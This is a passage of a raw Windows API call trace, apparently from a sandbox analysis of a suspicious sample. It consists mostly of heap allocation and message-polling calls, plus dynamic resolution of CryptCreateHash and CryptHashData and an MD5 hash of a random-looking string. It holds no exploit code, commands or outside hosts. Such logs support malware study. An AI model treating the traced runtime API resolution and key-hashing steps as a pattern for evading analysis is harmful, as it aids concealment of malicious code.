[0132.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.704] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0132.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0132.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0132.704] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0132.705] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0132.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0132.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.706] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.706] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0132.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0132.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.707] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.709] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0132.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0132.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0132.709] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0132.710] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.710] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0132.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0132.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0132.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0132.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf058 [0132.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0132.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0132.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0132.711] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.712] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0132.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0132.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0132.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0132.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0132.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0132.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0132.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0132.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0132.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0132.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0132.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0132.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0132.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0132.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0132.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0132.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0132.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0132.718] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.718] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0132.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.718] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0132.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0132.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1076e50, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0132.719] GetProcAddress (hModule=0x75a50000, lpProcName="CryptCreateHash") returned 0x75a6fa00 [0132.719] CryptCreateHash (in: hProv=0x1048538, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xbdee88 | out: phHash=0xbdee88) returned 1 [0132.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sckxjwcnmxupxfyjkysyphxrkregslgdwthrzgquajlplpajub", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0132.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sckxjwcnmxupxfyjkysyphxrkregslgdwthrzgquajlplpajub", cchWideChar=51, lpMultiByteStr=0x1015d00, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sckxjwcnmxupxfyjkysyphxrkregslgdwthrzgquajlplpajub", lpUsedDefaultChar=0x0) returned 51 [0132.743] CharLowerBuffW (in: lpsz="byte[50]", cchLength=0x8 | out: lpsz="byte[50]") returned 0x8 [0132.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sckxjwcnmxupxfyjkysyphxrkregslgdwthrzgquajlplpajub", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0132.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sckxjwcnmxupxfyjkysyphxrkregslgdwthrzgquajlplpajub", cchWideChar=51, lpMultiByteStr=0x10162c0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sckxjwcnmxupxfyjkysyphxrkregslgdwthrzgquajlplpajub", lpUsedDefaultChar=0x0) returned 51 [0132.752] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0132.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0132.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1077180, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0132.753] GetProcAddress (hModule=0x75a50000, lpProcName="CryptHashData") returned 0x75a6fb10 [0132.753] CryptHashData (hHash=0x10160c0, pbData=0x10161c0, dwDataLen=0x32, dwFlags=0x1) returned 1 [0132.753] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e40 [0132.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0132.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0132.753] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fa0 [0132.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0132.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fa0 | out: hHeap=0xe80000) returned 1 [0132.753] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0132.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e40 | out: hHeap=0xe80000) returned 1 [0132.754] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.754] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0132.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0132.754] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.754] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.754] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.754] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0132.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0132.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0132.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0132.755] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.755] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.756] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0132.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0132.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.756] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.756] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0132.756] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0132.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0132.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.757] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e18 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076dc0 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ec8 [0132.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0132.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077030 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e80 [0132.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0132.757] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f40 [0132.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fb8 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077048 [0132.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0132.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0132.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0132.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, 